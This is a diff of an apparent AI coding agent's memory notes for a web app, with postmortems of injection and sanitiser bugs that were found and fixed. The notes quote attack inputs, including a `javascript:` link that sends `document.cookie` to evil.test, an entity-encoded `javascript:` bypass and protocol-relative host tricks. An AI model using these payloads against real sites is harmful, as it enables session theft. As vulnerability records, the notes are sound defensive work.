`1.0.0b1` and versions do not go backwards. The policy's "if you are adding
features to a release candidate, it was never a release candidate" advice has
no legal expression here.
3. **No further pre-release until the arc lands.** Commits accumulate; the next
tag is whatever is honest when there is something to release.
**Whether `1.0.0` waits for the redesign is the operator's and is NOT YET
MADE.** Our recommendation is that it does: he treats this as one arc (the
standing no-announcements ruling says "until the entire arc is done"), and
cutting the 1.0 milestone on a UI he rejected as "still looks like the booth"
would make the milestone mean something he does not endorse.
## Compare mode left the parking lot, and the deferral was OURS
Parked since the v1 gate as "the only new capability rather than a fix for a
measured defect." design-dev argued it belongs in this arc; the operator agreed.
ROADMAP records **that it was his call that moved it**, so nobody re-parks it by
reading the older rule. Practically: the item-record work compare needs is in
scope for us, not deferred, and he tells us what a compare view wants from
`booth_items` rather than working around the current shape.
@@ -0,0 +1,52 @@
# The probe that nearly dismissed a live injection vector
_2026-09-23 · booth_
**The standing link board rendered agent-written hrefs with no scheme guard.**
Seventeen handles append to `links.md` and the operator clicks its rows, so
`javascript:document.location='http://evil.test/'+document.cookie` was a
clickable link executing in the Booth's own origin. `//evil.test/x` and
`data:text/html,…` rendered too.
Found by **design-dev**, in passing, in code his unit does not touch. Fixed the
same hour: `links.py` derives `is_safe_href` once per row, the template links
only when it is true, and a refused row still renders inert and labelled —
the operator should see that something was posted and that we would not link it.
## ⚠ THE NEAR-MISS IS THE PART WORTH KEEPING
**We probed with `javascript:alert(1)`, watched it get refused, and almost
closed the finding as already-guarded.**
It is refused — **by the markdown link regex.** `alert(1)`'s parentheses break
`](...)`, so the row never parses. That is an accident of syntax, not a guard,
and it refuses exactly the payload everybody reaches for first.
`javascript:x=1` walks straight through.
**Generalise it: a negative result from the most obvious probe is the least
trustworthy kind.** The canonical payload is canonical because it is memorable,
not because it is representative — and a filter that happens to catch the
memorable one looks exactly like a filter that works. The `is_safe_href`
docstring now tells the next person not to re-probe it with anything containing
brackets.
## The second trap: a guard that answers a different question
`booth_target` HAS an `http(s)` scheme check (`links.py:236`) and it is NOT this
guard. It answers *which booth does this URL name*, so it refuses every
legitimate off-board link and can never serve as a render-safety test. Reading
the codebase for "is there a scheme check" finds it and stops.
**Two things that look like the guard were in the way of finding there wasn't
one.** That is what made this survive as long as it did.
## Shape of the fix, for the next one
Derived ONCE in `links.py` and carried on the row, not decided in the template —
the same one-resolver discipline U1 states for item facts. A template that
decides safety is a second place for the rule to be wrong.
`.blurred`'s round-trip weakness (one stripped rel per line, so `" a.png"` can
blur `a.png`) was found in the same pass and is **NOT fixed** — it needs a
format migration and that does not belong in the same hour as a merge. Recorded
in CLAUDE.md beside `.seen`, which was written as JSON for exactly that reason.
@@ -0,0 +1,44 @@
# Thumbnails sized for the tile's width at 2x, not 512 on the long side
_2026-09-23. Operator on sindra-nude-final: "the images look blurry until
they're selected and blown up." Commits `c2b1454`, `c19d8c9`, merged
`1d31ab0`._
## The measurement
- The cap was 512px on the LONGEST side. Tiles are sized by WIDTH (`width:100%;
height:auto`).
- Chromium put desktop tiles at 321-361 CSS px (3 columns, 1440px viewports
and up), 324-472 at 2 columns, and up to 650 at 1 column (measured across a
360-2560 viewport sweep).
- A 704x1408 portrait got a 256-wide thumbnail: stretched 1.4x at 1x density
and 2.8x on a 2x screen.
- The live sizes are mostly 704x1408, 896x1216, 832x1216 and 1024x1024
portraits (368 images sampled).
## The rule
- `THUMB_WIDTH = 768` (2x the widest desktop tile) and `THUMB_HEIGHT_MAX =
4096`.
- An original that fits is served as-is only when it's also light (<=64 KB;
768-wide thumbnails average 39 KB) or animated.
- `tests/test_thumbs_browser.py` binds 768 to the rendered grid at 1440, 1920
and 2560.
- Cost across all 381 live images: 4.8 → 14.2 MB at 768; 1024 would have been
18.5 MB. Live rebuild: 14.5 MB, 369 webp and 12 originals, 9 s.
- **The operator kept 768 (2026-09-24).**
## heid bug-hunt (4/4, five seat-executed probes) → `c19d8c9`
- A cache hit must be a REGULAR file with its source's EXACT mtime. A planted
directory was served as the thumbnail, and `cp -p` pinned stale ones
forever.
- The cache dirs are made component by component without following links. A
`.thumbs` link put the cache outside the booth.
- The temp file is mkstemp. `<out>.<pid>.tmp` was plantable as a link: 600 B
became 316,400 B.
- Palette transparency survives. This one was INTRODUCED by `c2b1454`'s
fits-but-heavy branch.
- EXIF orientation is honoured.
- A 64 MP decode budget.
- The whole rule is in the cache name: `.768x4096q78v2.webp`.
@@ -0,0 +1,40 @@
# The r3 seam pass: what only it could see
_2026-09-24. Contract `docs/contracts/r3_compare.contract.md` (design-dev);
althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`._
design-dev's heid contract panel read r3 cold. Our seam pass read it against
the real `app.py`, `items.py`, `base.html` and `view.html`, plus small probes
on a scratch booth. It found 12 mismatches, all folded before a line of code.
The build then went through heid code-review and bug-hunt, and our own gate,
with nothing structural left. design-dev: "S4 and S8 would each have cost a
round."
## The ones worth remembering, because they recur
- **`data-region` ids must be unique on a page.** The in-place client's
`swap()` in `base.html` keeps only the FIRST fresh node for each id, then
replaces EVERY live node that has that id with a copy of it. Two per-side
regions sharing an id would make B's flag button a copy of A's after any
save, so pressing B flags A, with nothing to show it happened. Also: do not
key a region by rel (a pair with `a == b` duplicates it) and do not prefix
it `item-` (swap reads a missing `item-*` as a stale tile, not a reload).
This is a mechanical rule that belongs in CLAUDE.md; it is not there yet.
- **Moving code breaks mutation anchors.** 21 of r2c's 24 `view.html` rows
were anchored inside the inline script that r3 moved to `_stage_js.html`,
and `mutation_check.py` fails a row whose anchor is gone. A contract that
moves code must list the re-pointed rows in its "Assertions that change"
table, and gate on the table still falsifying, not only on the suite staying
green.
- **"404 the way view does" was two rules, and neither was view's.** A
missing `f` is a 422 from FastAPI (required `str`), not a 404; declare
`= ""` and 404 by hand. `booth_items` follows symlinks, so a link pointing
outside the booth is IN `review_chain`, while view 404s it through
resolve plus containment. Compare needed the conjunction.
- **Route order.** `/b/{name}/{filepath:path}` is a catch-all; a new
`/b/{name}/<word>` route must register before it. A booth file literally named
`<word>` becomes unreachable (accepted, as for view/marks/asks/embed.json).
- **A resolve done twice is a race.** After the merge, the review route checked
`f` and then resolved the whole ring again, so `cring.index(f)` could raise
(a 500) when a file vanished in between. design-dev's `d54bb04` judges each
rel once per request.
@@ -0,0 +1,55 @@
# Upload names: two crashes found, then two holes in the fix
_2026-09-24. Commits `92c774e`, `225ba32`; heid bug-hunt thread `01M3AXG27KQDMA6P3RTAAYMEHP`._
## What was wrong
design-dev's r3 bug hunt (hulda) found that `/upload` returned a 500 for a
multipart filename carrying a NUL: `safe_upload_name` stripped path, dots and
length but not NUL, and `(dest / name).open("wb")` raised ValueError. The
upload's `except Exception` tore the booth down and re-raised.
Fixing it turned up a second 500 on the same line: the cap was
`base[:200]`, 200 CHARACTERS. NAME_MAX is 255 BYTES, so 200 two-byte
characters (`é`, or any CJK name) raised ENAMETOOLONG.
## The first fix, and the two holes a single arm found in it
`92c774e` stripped NUL first, then applied the dot rule, then capped at 200
UTF-8 bytes via `encode("utf-8", "surrogatepass")[:200].decode("utf-8",
"ignore")`, taking the cut out of the stem so the extension survived.
Heid's own review of that diff found nothing. hulda, reading the whole snapshot
against the declared invariants, found:
1. **The surrogate was dropped LAST.** The final `decode("ignore")` removed a
lone surrogate after `lstrip(".")` had already run, so `"\ud800.forever"`
came out as `.forever`, which is the keep marker, and `"\ud800.."` as `..`.
The NUL had been moved first for exactly this reason; the same discipline
was not applied to the other droppable class. It was not reachable over HTTP:
Starlette decodes a multipart filename strictly (utf-8, else latin-1), so it
never yields a lone surrogate. The fix made the helper right by construction
anyway.
2. **A cut could manufacture a kind.** A suffix too long to keep (>16 bytes)
was cut like text, and the cut could land on a shorter suffix that means
something: `"a"*196 + ".png" + "x"*17` became `….png`, an image.
3. The 16-byte extension threshold was unguarded: every test suffix was 4
bytes, so `<= 4` survived. A `.jpeg` case now pins it.
`225ba32` does one pass first (NUL and everything unencodable), then basename
and the dot rule, then the byte cap. A cut whose `classify`/`doc_kind` differs
from the original's has its dots replaced with `_`. Falsifiers:
`tests/mutations/upload_names.toml`, 7/7.
## The lessons
- **A sanitiser drops everything droppable FIRST, then applies the structural
rules.** Anything dropped after a rule can defeat that rule.
- **A NUL test through httpx `files=` proves nothing.** httpx
percent-escapes the NUL, so the server sees a literal `%00`. Post a raw
multipart body. The first integration test passed pre-fix for this reason.
- **Truncating by length can change a file's meaning.** In the Booth the kind
comes from the extension, so a cut has to preserve the kind, not only the
byte count.
- **The single-arm hunt earned its cost.** Heid's own read traced only the
hunks; hulda read the declared invariants against the whole bundle.
@@ -0,0 +1,102 @@
# 2026-09-27 — One submit saves every ask on the page
**The report.** Prime to infra-ops, relayed to booth-dev (althing thread
`01M3JED397G1SZH7580PCXNVVA`): "submitting a question should go through and
submit ALL answers. As it is, I go through, submit a question and it only
submits the last one and clears out the top ones."
**Confirmed against live data before any code, and it matched to the second.**
`auk-audition`: three single-question picks, no anchors, so all three in the
embed tail in `(created, id)` order. The access log: one POST at 15:02:23 (303)
that saved `auk-emotion`, the LAST pick on the page; the reload; a POST at
15:02:27 that 400'd (the submit of a pick the reload had just blanked — the
browser showed a raw `{"detail": ...}` page); then `auk-clone` at 15:04:45 and
`auk-events` at 15:05:02, answered one at a time. infra-ops' reading of the
code was right. `vastblue-site-visit-2026-09-29` carries 14 picks and would
have hit it next.
**The cause is not the server.** One pick = one `<form>` = one POST to
`/answer`, and every POST did what `/answer` promises. The page offered one
button per form and no way to send them together. Two surfaces, two machineries:
- **Verbatim report (embed.js).** Plain form POST + 303 reload. The reload
wiped every unsent pick.
- **Booth pages (base.html's in-place script: marks page, lightbox verdict
aside, review rail).** R2 C3 already CARRIED unsent picks across a swap, so
they survived — but were never SAVED. And pressing a blank pick's submit was
a 400, whose failure path reloads and wipes them all.
**The shape (booth-dev's call; infra-ops said "the shape is your call").**
Client-side, both surfaces, no server change: a submit on a pick form, while
ANOTHER pick form on the page is dirty (a control differs from its
server-rendered default), sends every dirty pick form — the pressed one only if
dirty — one POST each to the unchanged `/answer` with `Accept:
application/json` (the 204), serially in document order, a refusal stopping
none of the rest. With no other dirty form, nothing changes: the browser's own
POST (verbatim) or C3's one-form path (Booth pages).
- **Rejected: a server batch endpoint + one page-level form.** It would also
fix no-JS, but needs ask-scoped field names, a single `<form>` element placed
by embed.js, and rewires `formKey` identity on the Booth pages (one form
holding many `ask` fields). Large blast radius for a no-JS verbatim path that
does not exist (U3's named cost). Atomic all-or-nothing was also the WRONG
semantics: one stale pick would refuse the rest — the 2026-09-09
partial-answer ruling's reasoning, one level up.
- **Untouched picks are not re-sent**, the pressed one included: re-sending
re-dates an answer nobody gave.
- **A refusal never clears what was entered, on either surface** (the first
cut had the Booth batch take C3's say-and-reload path; heid's panel caught
it, see below). Verbatim: no reload while anything of ours is dirty; the
pressed form's server-rendered, empty, hidden `.bk-ask-status` line says what
did not save. Booth pages: refresh in place with only the forms the server
took counted as sent, so the refused pick and any draft carry by identity;
the status region names what did not save. C3's ONE-form failure path
(step 4, say and reload) is untouched — not this change's surface, and it
still loses drafts on a refusal (named, not fixed).
**The heid bug-hunt panel (4/4 arms, thread `01M3JFDM1AWT2TCKS6E9NJM9G4`) was
the gate that paid.** All four landed on the same blind spot: the batch reads
every form AT THE PRESS but the page stays live through the flight, and every
guard protecting that window (`sending`, `__busy`, `held`) SURVIVED mutation,
because no test pressed or edited inside a flight. Six of its rows reproduced
RED in a browser before any fix: a successful embed batch reloading away a pick
made mid-flight (S1); the Booth batch's refusal reload (S2); saved forms staying
dirty so a retry re-dated them (S3); in-flight marked on DOM nodes a queued
swap replaced (S5 — now keyed by `formKey` identity via `flightKey`); a press
in flight falling through to a native POST (embed) or a blank 400 (Booth) (S6).
The trick that made them testable: hold every POST's reply 700ms in the CLIENT
(`_HOLD_POSTS`, the `_HOLD_FIRST_REFRESH` pattern) so the window is wide enough
to act in on purpose. S7 (no ask dedupe) rejected as unreachable; S8–S11
accepted with reasons in the fold reply (`01M3JHYKA0GSJG4F836J1Z6TJS`).
**Lesson: a feature that opens an async window needs a test that acts inside
it; a green suite of single presses says nothing about the window.**
**Round two: a single cold Hulda arm on the FOLDED tree found six more**
(thread `01M3JHYKCPXFA34XMRCEW4P3DJ`), all in how the fold's own rules
interacted — and Heid's primed second voice, reading only the fold's delta,
cleared two of them wrongly and retracted. Four reproduced RED: a sent pick
changed mid-flight came back as the saved copy (#1); a note queued behind a
flag carried back as a draft because "just sent" was a DOM-node test (#3);
a batch whose page GET failed reloaded drafts away (#4); the embed reloaded
over a refusal the operator had set back to its first value (#6). Fix:
"just sent" = `flightKey` identity + the form's serialization at the press
(`sentSet`), a batch never reloads, and a refusal blocks the embed reload on
its own. #2 was a message fix (a withdrawn pick's input has nowhere to go);
#5 accepted (needs a refused POST AND a failed GET; costs a re-date of
identical content). **A cold read of the whole diff beat a primed read of the
delta** — worth remembering before scoping a re-review to "just the fold".
**Contracts amended in the same commit:** U3 "Submitting several asks at once"
+ INV-8; R2 C3 steps 3 and 3a. **Mutation tables:** `tests/mutations/u3_submit_all.toml`
(15 rows) and `tests/mutations/r2_submit_all.toml` (11 rows), all proved; the
r2_flow row anchored on `form.__busy` moved to `pending[flightKey(form)]`.
**Tests:** 23 new browser tests plus two tightened (the author-form test now
wears our id prefix; the one-form failure test now asserts the reload it names).
Suite 928 → 951.
The `[a3]` case reproduced the live log exactly (only a3 saved).
**Not done, named:** no no-JS batch on the Booth pages (each plain form still
saves one pick with scripts off — the no-JS path is unchanged, as asked); a
verbatim batch that keeps the page leaves the saved picks' tags stale until a
reload, and the message says so; C3's one-form refusal still reloads drafts
away; Hulda #5 (above) accepted.
@@ -0,0 +1,38 @@
# 2026-09-28 — A posted doc could run script on the Booth's origin
**Found by design-dev's impeccable run** (the whole-surface audit Prime asked
for, report booth `booth-antislop`), confirmed at source by booth-dev:
Python-Markdown passes raw HTML through and `doc.html` / `booth.html` render it
`|safe`. Any session's `.md` could carry a `<script>`; a contract that merely
QUOTED `<pre>` opened a real one and swallowed the rest of the doc.
**Operator ruling (Prime, in this session: "A"; and in design-dev's): ESCAPE
raw HTML, not an allowlist** — the live docs that carry tags mean the literal
tag, and an allowlist would still turn a quoted `<pre>` into a real one.
Measured before shipping: 2 of 19 live `.md` files render differently; one is
`booth-redesign/03-u1-item-record.contract.md` losing exactly the swallowing
`<pre>`, the other is `links/links.md`, which renders as a board and never
through `render_doc`.
**Found while fixing it, same class:** markdown link hrefs were never checked,
and Python-Markdown keeps character references in attributes, so
`[x](java&#115;cript:...)` reached the browser as `javascript:`. Every doc href
now goes through `links.is_safe_href` after browser-style decoding
(`_browser_href`). mailto autolinks lose their href as a result; accepted.
**The heid panel (4/4, thread `01M3MFG07JCAJTQXRBC1GKS2FG`) said the core
claim holds** and found its edges: `/\evil.test` passed `is_safe_href` as a
relative path although a browser reads it as `//evil.test` (fixed in the ONE
predicate, so the board is closed too); no bound around the render (fixed:
a raising render falls back to escaped raw text, which also covers a markdown
upgrade renaming the deregistered processors — the tests would go red on that
upgrade). Declined: emphasis still applying inside quoted HTML (`**x**` in a
quoted attribute renders bold) — that is prose getting markdown; quote in a
code span for byte-literal. Accepted: `img@src` unguarded (inert in current
browsers; data: images are legitimate), `html.unescape` as a superset of
attribute decoding (over-refuses at worst).
**Guards not claimed as falsifiers:** the tab/CR/LF drop and C0 trim in
`_browser_href`, because Python 3.13's urlsplit does the same; the
AMP_SUBSTITUTE restore, reachable only through automail (always `mailto:`).
Table: `tests/mutations/doc_html.toml`, 9/9 proved.
+108 -64
View File
@@ -1,6 +1,6 @@
# Persistent memory — booth
_Last updated: 2026-09-22_
_Last updated: 2026-09-28_
> **Always check for `/tmp/booth-dev-handoff.md`** — if it exists and its
> `Written:` stamp is under 8 hours old, read it (it carries the in-flight
@@ -17,73 +17,114 @@ loop it turned out to actually be.
## Current state / in-flight
_As of 2026-09-22:_
_As of 2026-09-27:_
- ✅ **THE ANTI-SLOP STACK IS MERGED AND PUSHED** (operator: "merge and push",
2026-09-28): design-dev's S1-S4, S6, S5a + booth-dev's-gate fixup
(`09071dc..7143fae`), from Prime's impeccable directive (report booth
`booth-antislop`). Gated by booth-dev on the exact tip: 1030 passed, 382/382.
A hulda hunt on S3-S5a found 6 (release unasked, the Wipe-now guard moved to
the footer, a `__proto__` trapdoor, id collisions); all folded. The confirm
helper for wipe/release now lives in base.html's <head>.
**Still owed by booth-dev, after S5b lands (it rewrites the same code):**
(a) the embed's clean-batch reload can take text typed into the HOST page;
(b) carry() loses an edit set back to its original default mid-flight;
(c) two r2b.toml anchors match twice ("D3 a stored theme…", "D3 forced
light…") and prove only by where the first match falls; (d) the r2_flow
contract's C3 steps 2-4 are stale against S5b (status line never hidden,
one-form failure no longer reloads over a draft) — amend to point at
as_antislop S5b. **S5b MERGED AND PUSHED** (`0233ca6`, operator "merge and
push", 2026-09-28; booth-dev gate 1068 / 428/428 + seam pass clean): focus
survives a swap, a floating status line, and leaving with an unsent answer
ASKS FIRST (beforeunload, both surfaces). S5c (keys, doc bar, and the
refused-batch words that a later "Saved." can bury) is design-dev's next.
- ✅ **DOCS CAN NO LONGER RUN SCRIPT** (2026-09-28, Prime ruled "escape"): raw HTML in a `.md` renders as text, doc hrefs go through `is_safe_href`, the board's backslash twin of `//host` is closed. design-dev's anti-slop fix slices (`design-dev/antislop-sN`, Prime said GO in design-dev's session) arrive one ref at a time for booth-dev's gate.
→ `persistent-memory.d/2026-09-28-a-posted-doc-could-run-script.md`
- ✅ **ONE SUBMIT SAVES EVERY ASK ON A PAGE** (2026-09-27, Prime's bug via
infra-ops, thread `01M3JED397G1SZH7580PCXNVVA`). Client-side on both
surfaces (embed.js, base.html's in-place script), no server change; a
refusal or a mid-flight edit never clears input. PUSHED on the operator's
word ("push", 2026-09-28, with the doc fix below): origin/main = `190a75a`.
→ `persistent-memory.d/2026-09-27-one-submit-saves-every-ask.md`
- ✅ **r3 COMPARE IS LIVE AND PUSHED** (operator: "merge r3 once the mutation
check is clean", then "merge and push", 2026-09-24). origin/main is the r3
arc's tip: r3 (`f8d136a`), design-dev's race fix (`d54bb04`: one compare ring
per request, the review's Compare control hidden when its item vanished
mid-request, and a NUL in a raw file path returning 404) and our upload-name fix
(`225ba32`). The gate on that exact tip: 928 passed, and 245/245 falsifiers
across all 8 tables. The service was restarted at 1804. Our seam pass on the
contract caught 12 mismatches before code; the two that mattered were
duplicate `data-region` ids (a save would have made B's flag button flag A)
and 22 mutation-table rows anchored in the script that moved.
→ `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
- ✅ **Pushed on 09-23 (`d5ead3f`, 888 green).** Landed that night, in
order: r2b merge 1 (`b92b002`, reveal all + booth fog), r2b merge 2
(`cce6a20`, Desk row + dates + theme toggle), the Desk sort (`64f6488`), the
blur round-trip (`6880ab3`), 768-wide thumbnails (`1d31ab0`), r2c the review
stage (`fde082e`), and strict blur writes (`8a78a9b`).
- ⚠ **A peer's relayed "merge it" or "push now" is NOT the operator's
approval.** The permission layer refused a merge on design-dev's word alone
(r2b), and design-dev's relay of "approve r2c, push now" was held until the
operator said it here. Miranda is the only named relay.
- ⚠ **DO NOT SWEEP `:8090` WITH GETS OF BOOTH PAGES.** Each GET records a look.
Two sessions did it on 2026-09-23, which emptied "new since you looked" and
collapsed the Desk. Check live with `/healthz`, `/` and `?thumb=1`; check
pages on an rsync'd COPY (CLAUDE.md "Working in here").
- ✅ **THE BLUR SET ROUND-TRIPS ANY REL** (operator: "fix the blur"). It lives
in `.blurred.json` through stdlib-only `booth/blur.py`: one writer and one
`check_rel` for the service and `booth blur`. The legacy `.blurred` is read
as lines, only while no `.blurred.json` exists, and the first write retires
it. Writes are strict (`_load`) and the reader is lenient. Mechanics live in
CLAUDE.md invariant 2. `booth blur <name>` with NO files fogs the whole booth
(`.blurbooth`), which composes with the per-item set and never overrides it. **Still ours, not done, not scheduled:** "off" means
ON for /blur and /blurbooth but OFF for /flag (forms only send 0/1), and the
CLI's `.blurbooth` `touch` still follows a symlink where the service no
longer does. Recorded in `4cfbce5`'s message; raise them with the operator
before starting.
- ✅ **THUMBNAILS: 768 wide, capped at 4096 tall, and the operator KEPT 768**
(2026-09-24; do not re-raise it). `tests/test_thumbs_browser.py` binds 768
to the rendered tile width, so a redesign that widens tiles turns it red.
The cache is planting-proof (heid 4/4 folded). 381 live thumbnails, 14.5 MB.
→ `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
- ⚠ **THE BROWSER SUITE WAS FLAKY UNDER LOAD; THE CAUSE IS STILL UNCONFIRMED.**
The offline test browser (in `b92b002`) gives 0 reds in 24 against a pre-fix
rate of ~1 in 8, which is consistent with the fix and nothing more. **Do not
read a green suite as proof.**
→ `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
- ⚠ **`sindra-nude-final` and `sindra-nude-pool` were fogged at 21:44 on
09-23**, minutes after the control went live. It wasn't booth-dev;
presumably the operator, as he said he would. **Do not blur, unblur or
reveal them on his behalf.** The Desk still shows up to 4 images per booth.
- 🛑 **NO `1.0.0` YET** (operator, 2026-09-23). The tag stays `1.0.0b1`, with
no further pre-release until the arc lands. r3 compare, the last unit we
held named in it, landed 2026-09-24; **whether that closes the arc is the
operator's call, never ours.** ⚠ It has looked complete twice already.
- 🛑 **STANDING: NO ANNOUNCEMENTS out of this repo until the whole arc is done,
and the operator sends that one himself.** Do not offer, draft-and-await, or
raise it.
- ⚠ **Read a staged ref, never a SHA written here.** design-dev rebases in
place: `git show-ref | grep design-dev`, then `git merge-tree`.
- **U6 SHIPPED (`v0.6.0`) with a late fix (`v0.6.1`). PUSHED.** `main` and both
tags are on `origin` as of 2026-09-22 — the tree is no longer single-copy.
→ `persistent-memory.d/2026-09-22-u6-benches-released.md`
- **THE OPERATOR RULED ON EVERYTHING OUTSTANDING (2026-09-22, "accept all
recs").** Four of five settled and executed; one blocked by the permission
layer. Nothing is waiting on him. →
`persistent-memory.d/2026-09-22-operator-ruled-on-the-open-five.md`
- ✅ **U7 IS LANDED — ALL SEVEN v1 UNITS ARE IN.** The fourth component
(filename-prefix groups) is built; `test_no_group_rail_is_shipped_yet` was
deleted in the same commit, as required.
→ `persistent-memory.d/2026-09-22-u7-landed-and-a-table-that-did-not-reproduce.md`
- 🔶 **THE 1.0 CUT IS NOW A DECISION, NOT A DEPENDENCY, AND IT IS HIS.** The v1
target is met. A major bump needs explicit operator approval; nothing in the
code is waiting on it. The open fork: cut `1.0`, or stage a `0.7.0` first.
**Not bumped — the work is committed as commits, which are not releases.**
- ⚠ **U7'S CONTRACT CARRIED A MEASUREMENT THAT DID NOT REPRODUCE**, and it was
the number the scope departure rested on. The stated rule gives 24 and 27
groups where the table claimed 5 and 1; the table was assembled from two
different heuristics. **A cold contract-review panel cannot catch this** — the
artifact is internally plausible. Re-run any measurement a contract's scope
rests on before implementing it. Same detail file.
- ⚠ **A MUTATION HARNESS NEEDS A GREEN BASELINE AND CACHE DEFEAT**, or it
certifies falsifiers without running them. Both defects bit in one session.
→ `persistent-memory.d/2026-09-22-a-mutation-harness-that-certified-a-broken-test.md`
- **639 tests green; 12/12 new falsifiers mutation-proved. Deployed; 21/21
booths 200.** ⚠ The set churned again mid-session (19 → 21).
- 🔶 **A bug-hunt panel is IN FLIGHT** — heid thread `01M368G2Y0JMTJ2T7M3JMTXV5Z`,
dispatched 2026-09-22 21:31 PDT over the U7-groups diff. If its reply has not
been consumed, drain `/althing:inbox` and triage before treating U7 as closed.
- 🛑 **STANDING RULING — NO ANNOUNCEMENTS OUT OF THIS REPO, AND THE OPERATOR
SENDS THE EVENTUAL ONE HIMSELF** (operator, 2026-09-22). Verbatim: *"no
announcements until the entire arc is done, and even then i'll do it myself."*
Two clauses, both binding: **(a)** no althing announcement of any kind ships
from booth-dev until the v1 arc is COMPLETE — not per-unit, not at the 1.0
tag, not "just the peers who consume it"; **(b)** when the arc IS done, the
announcement is HIS to send, not a thing to ask permission for. This is
STRICTER than `~/.claude/CLAUDE.md`'s broadcast gate, which merely requires
approval — here the send is not the agent's to make at all, so *asking* is
also out of scope. Do not offer, draft-and-await, or surface it as a pending
decision; it is settled and not a standing question.
**The 17-handle `booth link` note is consequently REASSIGNED, not blocked.**
The full draft + recipient list stays at
`docs/pending/fleet-note-booth-link-refusal.md` as MATERIAL FOR HIM. It is no
longer an open loop, no longer awaiting approval, and no longer a thing to
raise. Same for anything U4's `keep`-semantics change would have warranted
telling peers.
- ⚠ **NOT SEEDED, and this survives the blanket ruling.** "No seeding yet" was a
SPECIFIC prior instruction, not a recommendation of mine, so "accept all recs"
does not override it. `.benches.json` does not exist in `~/booth-data`.
- **A U7 directive (D-0011) misrouted to infra-ops and is SUPERSEDED.** Miranda
confirmed directly. Nothing to act on.
→ `persistent-memory.d/2026-09-22-a-directive-misrouted-by-pane-title.md`
- ⚠ **THE 17 CONSUMING HANDLES WERE NEVER TOLD that `keep` stopped meaning
"waiting on an answer"** — and the note above does not tell them either; it is
about `booth link`. **This CHANGES HOW THE 2026-10-06 RE-COUNT READS**: a flat
`.forever` rate does NOT falsify the diagnosis.
- **Two dated predictions pending, not to be run early.** U5's adoption
re-measure **2026-09-29**; the `.forever` re-count **on or after 2026-10-06**.
- **FIVE `/heid*` methodology proposals sit with the operator**, untracked by
his choice.
- The booth set churns hard: 26 → 24 → 25 → 23 → **19**. Re-count rather than
trusting any number here.
## Recent decisions
- `[2026-09-28]` ✅ **A posted doc could run script; raw HTML is now escaped and doc hrefs guarded** — Prime ruled ESCAPE; READ BEFORE RENDERING ANY AUTHOR TEXT `|safe` or touching `links.is_safe_href`, which now guards docs too → `persistent-memory.d/2026-09-28-a-posted-doc-could-run-script.md`
- `[2026-09-27]` ✅ **One submit saves every ask on the page; the heid panel found the async window** — READ BEFORE TOUCHING THE SUBMIT PATH OF embed.js OR base.html: a batch reads forms at the press while the page stays live, and only a test that acts inside the flight can see it → `persistent-memory.d/2026-09-27-one-submit-saves-every-ask.md`
- `[2026-09-24]` ⏸ **The upload route's three lifecycle gaps: DEFERRED** — the pickup-id `mkdir` sits outside the try (a FileExistsError race), `rmtree(ignore_errors=True)` hides its own failure, and `except Exception` misses CancelledError. All three are rare; the operator was told and merged without them. Tracked in `225ba32`'s commit message.
- `[2026-09-24]` ✅ **Upload names: two crashes found, then two holes in the fix** — READ BEFORE WRITING A SANITISER: drop everything droppable FIRST, then apply the structural rules; a NUL test through httpx `files=` proves nothing → `persistent-memory.d/2026-09-24-upload-names-two-crashes-then-two-holes.md`
- `[2026-09-24]` ✅ **The r3 seam pass: what only it could see** — 12 contract-vs-code mismatches folded before code. READ BEFORE A CONTRACT THAT ADDS `data-region`S, MOVES TEMPLATE CODE, OR ADDS A `/b/{name}/<word>` ROUTE → `persistent-memory.d/2026-09-24-r3-seam-pass-what-only-it-could-see.md`
- `[2026-09-24]` ✅ **r3 compare merged and pushed on the operator's word, gated by our own run** — fast-forward only to SHAs we had gated ourselves (`f8d136a`, then `225ba32`), never to design-dev's reported numbers.
- `[2026-09-24]` ✅ **r3 compare ruled: pick two, flag the winner** — operator, in design-dev's session. No `booth_items` or marks work; the URL is rel-keyed. The A/same/B pairwise verdict is **PARKED (deferred)**, with our ordered-pair-of-rels note attached. Tracked in design-dev's r3 contract parked entry, althing thread `01M3952NCDRRJX5XDFSPMSP5HJ`.
- `[2026-09-23]` ✅ **The Desk's "Everything else" sorts by last UPDATE, not last activity** — the operator chose the simple fix over repairing `.viewed` from the access log. READ BEFORE CHECKING THE LIVE SERVICE → `persistent-memory.d/2026-09-23-desk-sorts-by-last-update.md`
- `[2026-09-23]` ✅ **The blur round-trip, and the migration that recreated the bug it fixed** — three rounds, and the third was our own 09-21 marks lesson repeated. READ BEFORE ANY DOTFILE FORMAT CHANGE → `persistent-memory.d/2026-09-23-blur-round-trip-and-the-migration-that-recreated-it.md`
- `[2026-09-23]` ✅ **Thumbnails sized for the tile's width at 2x** — 768 is a layout number, held by a browser test; the operator kept it. READ BEFORE CHANGING TILE WIDTH OR THE THUMB RULE → `persistent-memory.d/2026-09-23-thumbnails-sized-for-the-tile.md`
- `[2026-09-23]` ✅ **The four flow rulings, and what they cost the beta** — all four taking design-dev's recommendation; READ BEFORE CUTTING ANY RELEASE, because `v1.0.0b1`'s "no new features" promise no longer describes the arc and an alpha drop-back is illegal → `persistent-memory.d/2026-09-23-the-flow-rulings-and-what-they-cost-the-beta.md`
- `[2026-09-23]` ✅ **Creation dates came from a syscall, after three guesses wearing a fact's clothes** — READ BEFORE REACHING FOR A PROXY; the system already recorded what looked unavailable, and one of the rejected proxies was a shape we had just finished paying for → `persistent-memory.d/2026-09-23-dates-and-the-guess-wearing-a-facts-clothes.md`
- `[2026-09-23]` ⚠ **The browser suite is flaky under load — OPEN, owned by design-dev** — three tests, two real defects fixed, NEITHER proven causal; do not read a green suite as proof → `persistent-memory.d/2026-09-23-the-browser-suite-is-flaky-under-load.md`
- `[2026-09-23]` ⚠ **The cache that aged the thing it cached** — thumbnails 77.5MB→0.78MB; READ BEFORE PARKING ANYTHING ON A MEASUREMENT (we counted images and the cost was in bytes), and BEFORE PUTTING A SERVER-WRITTEN CACHE INSIDE A BOOTH (excluding its contents does not stop it aging the booth) → `persistent-memory.d/2026-09-23-the-cache-that-aged-the-thing-it-cached.md`
- `[2026-09-23]` ⚠ **The probe that nearly dismissed a live injection vector** — the link board rendered `javascript:` hrefs; READ BEFORE TRUSTING A NEGATIVE RESULT FROM AN OBVIOUS PROBE, and before assuming an existing scheme check is the guard you are looking for → `persistent-memory.d/2026-09-23-the-probe-that-nearly-dismissed-a-live-vector.md`
